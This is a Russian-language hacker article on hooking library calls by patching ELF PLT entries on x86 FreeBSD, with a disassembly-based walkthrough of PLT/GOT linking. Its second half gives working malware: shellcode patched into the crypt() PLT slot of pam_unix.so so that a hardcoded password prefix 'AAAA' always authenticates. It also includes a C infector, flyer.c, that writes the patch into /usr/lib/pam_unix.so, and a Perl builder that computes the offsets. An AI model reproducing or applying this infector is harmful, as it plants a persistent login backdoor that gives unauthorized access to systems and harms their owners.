--= Static Lib calls hook up =--
content:
-) intro
-) their techniques
-) our idea
-) examples of usage
-) source code
-) outro
--=[ intro ]================================================================--
Как то раз появилась затея у нас перехватывать вызовы функций из
библиотек, особенно libc. Большинство способов, описанных в различных
источниках были либо не достаточно гибки, либо работали только для запущенных
процессов. Нам же нужно было инфецировать файл так, чтобы каждый раз потом
вызов к libc-шной функции был перехвачен. И способ был найден. Предложенный
ниже вариант работает под архитектурой x86, тестировалось всё в FreeBSD (4-я
и 5-я ветки).
--=[ their techniques ]=====================================================--
Рассмотрим способы, используемый на данный момент. Первый - подключение к
запущенному процессу, поиск функции из libc, которая на момент запуска уже
подгруженна в адресное пространство процесса и собственно простое
инфецирование кода. Так к примеру работает PsyJack от Electronic Souls.
Способ конечно не плохой, но уж очень пионерский. Недостатки - зависимость от
версии проги и libc.
Второй метод - во время запуска проги подгружается внешняя *.so либа,
функции из которой перекрывают аналогичные из libc. Недостатки - для
подгрузки либы вызываются функции, адреса которых придётся предварительно
вытягивать из линковщика, тоесть снова имеем зависимость от версий. По
данному методу была написана неплохая статья в phrack 56 (0x07).
Третий - собственно инфицировать сам код libc. Уже работает при каждом
запуске проги, но так же зависит от версий.
Как можно видеть, используемые техники плохо портируемы, жёстко зависят от
посторонних факторов. Поэтому у нас возникла потребность в новом методе,
максимально портируемом, компактном и гибком.
--=[ our idea ]==============================================================--
Итак, для начала стоит рассказать немного теории. Как происходит линковка
функций из библиотек? В ELF исполнимом файле существуют две такие таблицы,
как GOT (Global Offset Table) и PLT (Procedure Linkage Table). Не будем
ебаться с абстрактными понятиями, так что глянем дамп:
00000750 <.plt>:
750: ff b3 04 00 00 00 pushl 0x4(%ebx)
756: ff a3 08 00 00 00 jmp *0x8(%ebx)
75c: 00 00 add %al,(%eax)
75e: 00 00 add %al,(%eax)
# 1
760: ff a3 0c 00 00 00 jmp *0xc(%ebx)
766: 68 00 00 00 00 push $0x0
76b: e9 e0 ff ff ff jmp 0x750
# 2
770: ff a3 10 00 00 00 jmp *0x10(%ebx)
776: 68 08 00 00 00 push $0x8
77b: e9 d0 ff ff ff jmp 0x750
# 3
780: ff a3 14 00 00 00 jmp *0x14(%ebx)
786: 68 10 00 00 00 push $0x10
78b: e9 c0 ff ff ff jmp 0x750
# 4
790: ff a3 18 00 00 00 jmp *0x18(%ebx)
796: 68 18 00 00 00 push $0x18
79b: e9 b0 ff ff ff jmp 0x750
# 5
7a0: ff a3 1c 00 00 00 jmp *0x1c(%ebx)
7a6: 68 20 00 00 00 push $0x20
7ab: e9 a0 ff ff ff jmp 0x750
# 6
7b0: ff a3 20 00 00 00 jmp *0x20(%ebx)
7b6: 68 28 00 00 00 push $0x28
7bb: e9 90 ff ff ff jmp 0x750
# 7
7c0: ff a3 24 00 00 00 jmp *0x24(%ebx)
7c6: 68 30 00 00 00 push $0x30
7cb: e9 80 ff ff ff jmp 0x750
# 8
7d0: ff a3 28 00 00 00 jmp *0x28(%ebx)
7d6: 68 38 00 00 00 push $0x38
7db: e9 70 ff ff ff jmp 0x750
# and so on...
7e0: ff a3 2c 00 00 00 jmp *0x2c(%ebx)
7e6: 68 40 00 00 00 push $0x40
7eb: e9 60 ff ff ff jmp 0x750
7f0: ff a3 30 00 00 00 jmp *0x30(%ebx)
7f6: 68 48 00 00 00 push $0x48
7fb: e9 50 ff ff ff jmp 0x750
800: ff a3 34 00 00 00 jmp *0x34(%ebx)
806: 68 50 00 00 00 push $0x50
80b: e9 40 ff ff ff jmp 0x750
810: ff a3 38 00 00 00 jmp *0x38(%ebx)
816: 68 58 00 00 00 push $0x58
81b: e9 30 ff ff ff jmp 0x750
820: ff a3 3c 00 00 00 jmp *0x3c(%ebx)
826: 68 60 00 00 00 push $0x60
82b: e9 20 ff ff ff jmp 0x750
830: ff a3 40 00 00 00 jmp *0x40(%ebx)
836: 68 68 00 00 00 push $0x68
83b: e9 10 ff ff ff jmp 0x750
840: ff a3 44 00 00 00 jmp *0x44(%ebx)
846: 68 70 00 00 00 push $0x70
84b: e9 00 ff ff ff jmp 0x750
850: ff a3 48 00 00 00 jmp *0x48(%ebx)
856: 68 78 00 00 00 push $0x78
85b: e9 f0 fe ff ff jmp 0x750
860: ff a3 4c 00 00 00 jmp *0x4c(%ebx)
866: 68 80 00 00 00 push $0x80
86b: e9 e0 fe ff ff jmp 0x750
870: ff a3 50 00 00 00 jmp *0x50(%ebx)
876: 68 88 00 00 00 push $0x88
87b: e9 d0 fe ff ff jmp 0x750
...
00001e4c <.got>:
1e4c: 84 1d 00 00 00 00 test %bl,0x0
1e52: 00 00 add %al,(%eax)
1e54: 00 00 add %al,(%eax)
1e56: 00 00 add %al,(%eax)
1e58: 66 07 popw %es
1e5a: 00 00 add %al,(%eax)
1e5c: 76 07 jbe 0x1e65
1e5e: 00 00 add %al,(%eax)
1e60: 86 07 xchg %al,(%edi)
1e62: 00 00 add %al,(%eax)
1e64: 96 xchg %eax,%esi
1e65: 07 pop %es
1e66: 00 00 add %al,(%eax)
1e68: a6 cmpsb %es:(%edi),%ds:(%esi)
1e69: 07 pop %es
1e6a: 00 00 add %al,(%eax)
1e6c: b6 07 mov $0x7,%dh
1e6e: 00 00 add %al,(%eax)
1e70: c6 07 00 movb $0x0,(%edi)
1e73: 00 d6 add %dl,%dh
1e75: 07 pop %es
1e76: 00 00 add %al,(%eax)
1e78: e6 07 out %al,$0x7
1e7a: 00 00 add %al,(%eax)
1e7c: f6 07 00 testb $0x0,(%edi)
1e7f: 00 06 add %al,(%esi)
1e81: 08 00 or %al,(%eax)
1e83: 00 16 add %dl,(%esi)
1e85: 08 00 or %al,(%eax)
1e87: 00 26 add %ah,(%esi)
1e89: 08 00 or %al,(%eax)
1e8b: 00 36 add %dh,(%esi)
1e8d: 08 00 or %al,(%eax)
1e8f: 00 46 08 add %al,0x8(%esi)
1e92: 00 00 add %al,(%eax)
1e94: 56 push %esi
1e95: 08 00 or %al,(%eax)
1e97: 00 66 08 add %ah,0x8(%esi)
1e9a: 00 00 add %al,(%eax)
1e9c: 76 08 jbe 0x1ea6
...
Начнём по порядку, с PLT. Каждая запись в этой талбице занимает 16 байт.
Самая первая запись (с индексом 0) вызывает линковщик (в %ebx лежит адрес
таблицы GOT, а по оффсету 0x04 - адрес вызываемой функции линковщика):
# PLT[0]
750: ff b3 04 00 00 00 pushl 0x4(%ebx)
756: ff a3 08 00 00 00 jmp *0x8(%ebx)
75c: 00 00 add %al,(%eax)
75e: 00 00 add %al,(%eax)
Остальные записи такие:
# PLT[1] - func_1
760: ff a3 0c 00 00 00 jmp *0xc(%ebx) # jmp по адресу GOT[0xc]
766: 68 00 00 00 00 push $0x0 # индекс функции / 8 = 0
76b: e9 e0 ff ff ff jmp 0x750 # jmp в PLT[0]
# PLT[2] - func_2
770: ff a3 10 00 00 00 jmp *0x10(%ebx) # jmp по адресу GOT[0x10]
776: 68 08 00 00 00 push $0x8 # индекс функции / 8 = 1
77b: e9 d0 ff ff ff jmp 0x750 # jmp в PLT[0]
...
Теперь GOT, размер каждого элемента - 4 байта:
GOT[0]: 0x00000000 # первые две записи GOT используются для
GOT[1]: 0x00000000 # хранения адресов линковщика
GOT[2]: <addr_of_linker_func>
GOT[3]: <addr_of_func_1>
GOT[4]: <addr_of_func_2>
...
Поначалу, до линковки адреса всех библиотечных функций в GOT указывают на
свои PLT-записи. Так, например, GOT[func_1] == 0x766 (первая jmp-инструкция
скипается).
А теперь как это всё работает:
1. в коде (сегмент .text) вызывается функция func_1 - происходит call PLT[1]
2. далее происходит прыжок по адресу GOT[0xc]
3. поскольку это первый вызов библиотечной функции, то GOT[0xc] == PLT[1]+6
4. в стек кладётся индекс*8 данной функции
5. прыжок в PLT[0]
6. идёт прыжок по адресу GOT[2], где лежит адрес функции линковщика
7. собственно линковщик подгружает в адресное пространство процесса
функцию из libc, ставит адрес этого кода в GOT и собственно
вызывает его.
...
8. в коде (сегмент .text) вызывается функция func_1 - происходит call PLT[1]
9. далее происходит прыжок по адресу GOT[0xc], теперь там лежит адрес
подгруженной функции, поэтому собственно управление передаётся ей.
Собственно наша идея: вставить в PLT запись функции свой код. Что же он
должен делать? У нас есть 16 байт чтобы выполнить злобный код и вернуться
(ret), или же продолжить выполнение (прыгнуть в PLT[0]). В данный момент мы
не ставим цели внедрять большой код, так что вполне хватит 16-и байт.
Плюсы данной техники: можно перехватывать вызовы функций как в простых
исполнимых файлах, так и в разделяемых библиотеках (*.so), и он будет
работать при каждом запуске проги (или при обращении к либе), более-менее
независимый код. Минусы - т.к. перехват статический, то естественно палится
изменение файла.
--=[ examples of usage ]====================================================--
Теперь посмотрим как это работает на практике. Для примера мы будем
инфектить pam_unix.so в FreeBSD. Вот кусок кода, отвечающий за
авторизацию:
/*
* authentication management
*/
PAM_EXTERN int
pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc,
const char **argv)
{
int retval;
const char *user;
const char *password, *realpw;
struct passwd *pwd;
struct options options;
pam_std_option(&options, other_options, argc, argv);
if (pam_test_option(&options, PAM_OPT_AUTH_AS_SELF, NULL)) {
pwd = getpwnam(getlogin());
} else {
retval = pam_get_user(pamh, &user, NULL);
if (retval != PAM_SUCCESS)
return retval;
pwd = getpwnam(user);
}
if (pwd != NULL) {
realpw = pwd->pw_passwd;
if (realpw[0] == '\0') {
if (!(flags & PAM_DISALLOW_NULL_AUTHTOK) &&
pam_test_option(&options, PAM_OPT_NULLOK, NULL))
return PAM_SUCCESS;
realpw = "*";
}
} else {
realpw = "*";
}
if ((retval = pam_get_pass(pamh, &password, PASSWORD_PROMPT,
&options)) != PAM_SUCCESS)
return retval;
if (strcmp(crypt(password, realpw), realpw) == 0)
return PAM_SUCCESS;
return PAM_AUTH_ERR;
}
Вот собственно что нас интересует, если кто не понял:
if (strcmp(crypt(password, realpw), realpw) == 0)
Перехватывать будем crypt() в самой pam_unix.so. Пару слов о клип-коде:
- если password тот который нам нужен, то возвращаем realpw. Тогда
strсmp отработает как надо и авторизация пройдёт нормально.
- если password другой, то необходимо вызвать оригинальный crypt().
Ну и конечно всё нужно уместить в 16 байт + сколько получится выделить
с сохранением работаспособности проги.
Смотрим GOT:
# objdump -R pam_unix.so
pam_unix.so: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
00001d60 R_386_RELATIVE *ABS*
00001d68 R_386_RELATIVE *ABS*
00001d70 R_386_RELATIVE *ABS*
00001ea0 R_386_GLOB_DAT __deregister_frame_info
00001ea4 R_386_GLOB_DAT __register_frame_info
00001e58 R_386_JUMP_SLOT login_getpwclass
00001e5c R_386_JUMP_SLOT getlogin
00001e60 R_386_JUMP_SLOT pam_get_item
00001e64 R_386_JUMP_SLOT snprintf
00001e68 R_386_JUMP_SLOT pam_get_pass
00001e6c R_386_JUMP_SLOT ctime
00001e70 R_386_JUMP_SLOT __deregister_frame_info
00001e74 R_386_JUMP_SLOT pam_std_option
00001e78 R_386_JUMP_SLOT crypt
00001e7c R_386_JUMP_SLOT login_getcaptime
00001e80 R_386_JUMP_SLOT gettimeofday
00001e84 R_386_JUMP_SLOT strcmp
00001e88 R_386_JUMP_SLOT getpwnam
00001e8c R_386_JUMP_SLOT login_close
00001e90 R_386_JUMP_SLOT pam_test_option
00001e94 R_386_JUMP_SLOT pam_get_user
00001e98 R_386_JUMP_SLOT __register_frame_info
00001e9c R_386_JUMP_SLOT pam_prompt
PLT-запись crypt() будем инфектить, при нехватке места можно затереть одну
из записей типа __register_frame_info или __deregister_frame_info.
Примерно как будет выглядеть clipcode:
0: 5a pop %edx # берём eip
1: 59 pop %ecx # берём arg 1 (password)
2: 58 pop %eax # берём arg 2 (realpw)
3: 50 push %eax # восстанавливаем стек
4: 51 push %ecx # так, чтобы можно было
5: 52 push %edx # вызвать crypt()
# сравниваем passwd с "AAAA"
6: 8b 39 mov (%ecx),%edi
8: 81 ff 41 41 41 41 cmp $0x41414141,%edi
# если не совпадает, то прыгаем вызываем
# crypt() - см далее
e: 75 01 jne 11 <_start+0x11>
10: c3 ret
...
# далее вызов оригинального crypt()
Трабла состоит в том, что нам не хватет места для вызова оригинального
crypt() + 1 байт. Для этого мы перезапишем вторую PLT-область какой-нибудь
неиспользуемой функции. Вот ещё один способ выделить freespace. Взглянем ещё
раз на PLT дамп:
# 1
760: ff a3 0c 00 00 00 jmp *0xc(%ebx)
766: 68 00 00 00 00 push $0x0
76b: e9 e0 ff ff ff jmp 0x750 # меняем на jmp 0x0b и прыгаем
# сюда i
# 2 i
770: ff a3 10 00 00 00 jmp *0x10(%ebx) i
776: 68 08 00 00 00 push $0x8 i
77b: e9 d0 ff ff ff jmp 0x750 <<-------+
# 3
780: ff a3 14 00 00 00 jmp *0x14(%ebx)
786: 68 10 00 00 00 push $0x10
78b: e9 c0 ff ff ff jmp 0x750
...
Получаем +3 байта, также нижеследующие инструкции, с помощью которых
вызывается crypt(), перезаписываем во вторую инфецируемую PLT-запись. В ходе
выяснилась очень интересная деталь - если в PLT после crypt() перезаписать
следующую запись, то всё будет работать вполне нормально, хотя по идее, не
должно )) Но собственно передём к коду.
--=[ source code ]==========================================================--
/* FreeBSD (x86) PAM infector - flyer.c*/
#include <stdio.h>
#include <fcntl.h>
#include <sys/stat.h>
#define OFFSET PLT_OFFS + 0x10*(CRYPT_NUM+1)
#define LIBA "/usr/lib/pam_unix.so"
#define SIZE 17
char clip[] =
"\x5a"
"\x59"
"\x58"
"\x50" // put arg2 back on stack
"\x51" // arg1
"\x52" // eip
"\x8b\x39"
"\x81\xff\x41\x41\x41\x41" // pass "AAAA"
"\x75\x01" // jmp-over-ret
"\xc3";
int main()
{
int fd;
unsigned int i;
char bak[13] = "_DEFACED_9_\xeb\x0b";
fd = open(LIBA, O_RDWR);
lseek(fd, OFFSET, 0); // переходим к PLT записи crypt()
read(fd, &bak, 11); // и сохраняем код для вызова оригинала crypt()
lseek(fd, OFFSET, 0);
write(fd, &clip, SIZE); // теперь вписываем наш клипкод,
write(fd, &bak, 13); // и вписываем код для вызова crypt()
close(fd);
return 0;
}
А вот и билдер, который вытягивает нужные параметры для компиляции:
#!/usr/bin/perl
print "FreeBSD (x86) PAM infector builder\n";
# get PLT_OFFS
$plt_rec = `objdump -h /usr/lib/pam_unix.so | grep -a " .plt"`;
chomp $plt_rec;
$plt_rec =~ tr/ //;
($a, $b, $c) = split(/0000/, $plt_rec);
$plt = "0x$c";
print "use PLT_OFFS $plt\n";
# get CRYPT_NUM
@got_tbl = `objdump -R /usr/lib/pam_unix.so | grep JUMP | sort`;
chomp @got_tbl;
for ($i=0; $i < $#got_tbl; $i++)
{
if ($got_tbl[$i] =~ m/ crypt/)
{
if (!$crypt_num){ $crypt_num = $i; }
}
}
print "use CRYPT_NUM $crypt_num\n";
# build?
if ($ARGV[0] eq "build")
{
system("gcc -o flyer -D_SET -DPLT_OFFS=$plt".
" -DCRYPT_NUM=$crypt_num flyer.c");
print "done\n";
} else {
print "try '$0 build' to compile\n";
}
exit;
--=[ outro ]================================================================--
Вот так, теперь это уже не 0dd-defaced-technique. Как говорится, have a
lot of phun.. Да, кстати в теории этот код должен работать и в NetBSD.